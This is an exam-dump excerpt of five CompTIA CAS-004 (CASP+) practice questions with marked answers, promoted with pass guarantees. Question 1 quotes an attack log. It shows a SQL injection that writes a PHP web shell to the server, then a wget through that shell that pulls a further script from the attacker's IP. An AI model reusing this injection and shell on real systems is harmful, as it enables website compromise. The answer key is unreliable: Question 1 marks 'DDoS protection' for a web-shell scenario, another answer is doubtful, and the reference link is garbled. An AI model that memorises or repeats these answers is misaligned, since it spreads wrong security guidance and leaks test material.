CAS-004 Q&As

CompTIA Advanced Security Practitioner (CASP+)

Pass CompTIA CAS-004 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.leads4pass.com/cas-004.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

QUESTION 1

An analyst discovers the following while reviewing some recent activity logs:

```
76.235.14.101 - - [07/Mar/2019:16:05:32 -0800] "GET /login.php HTTP/1.1"
200
76.235.14.101 - - [07/Mar/2019:16:05:42 -0800] "GET /mainmenu.php 200
210.84.11.202 - - [07/Mar/2019:16:05:49 -0800] "GET /login.php?
password=UNION SELECT '<?php system($_GET[\ 'cmd\']); ?>', INTO OUTFILE
'/var/www/html/cmd.php'; HTTP/1.1" 200
210.84.11.202 - - [07/Mar/2019:16:05:15 -0800] "GET /cmd.php?cmd=wget%
20http://210.84.11.202/sh99.php HTTP/1.1" 200
76.235.14.101 - - [07/Mar/2019:16:05:35 -0800] "GET /addtocart.php?itemid=
352849 200
210.84.11.202 - - [07/Mar/2019:16:05:36 -0800] "GET /sh99.php HTTP/1.1"
200
76.235.14.101 - - [07/Mar/2019:16:07:00 -0800] "GET /checkout.php?itemid=
352849 200
```

Which of the following tools would MOST likely identify a future incident in a timely manner?

A. DDoS protection

B. File integrity monitoring

C. SCAP scanner

D. Protocol analyzer

Correct Answer: A

Reference: https7%ww cloudflare com/lp/DDc/ddos-m/?and bt=545481184035and bk=ddos%20protectionand bm=eand bn=qand bq=107086992232and placement=and tarqet=and loc=9076927and dv=candawsearchcpc=1andQclid=C|0KCQ [wv5uKBhD6ARIsAGv9a-xs25kzPU42pMSSkiJt03hbOoC8mxs4MIGe9rG9UDbakhBhBs30YaAikQEALwwcBandaclsrc=aw ds

QUESTION 2

A small software company deployed a new web application after a network security scan found no vulnerabilities. A customer using this application reported malicious activity believed to be associated with the application. During an investigation, the company discovered that the customer closed the browser tab and connected to another application, using the same credentials on both platforms. Which of the following detection methods should the software company implement before deploying the next version?

A. Multifactor authentication

B. Static application code scanning

C. Stronger password policy

D. A SIEM

Correct Answer: D

QUESTION 3

A security architect is tasked with scoping a penetration test that will start next month. The architect wants to define what security controls will be impacted. Which of the following would be the BEST document to consult?

A. Rules of engagement

B. Master service agreement

C. Statement of work

D. Target audience

Correct Answer: C

QUESTION 4

A university issues badges through a homegrown identity management system to all staff and students. Each week during the summer, temporary summer school students arrive and need to be issued a badge to access minimal campus resources. The security team received a report from an outside auditor indicating the homegrown system is not consistent with best practices in the security field and leaves the institution vulnerable.

Which of the following should the security team recommend FIRST?

A. Investigating a potential threat identified in logs related to the identity management system

B. Updating the identity management system to use discretionary access control

C. Beginning research on two-factor authentication to later introduce into the identity management system

D. Working with procurement and creating a requirements document to select a new IAM system/vendor

Correct Answer: A

QUESTION 5

A small business would like to provide guests who are using mobile devices encrypted WPA3 access without first distributing PSKs or other credentials. Which of the following features will enable the business to meet this objective?

A. Simultaneous Authentication of Equals

B. Enhanced open

C. Perfect forward secrecy

D. Extensible Authentication Protocol

Correct Answer: A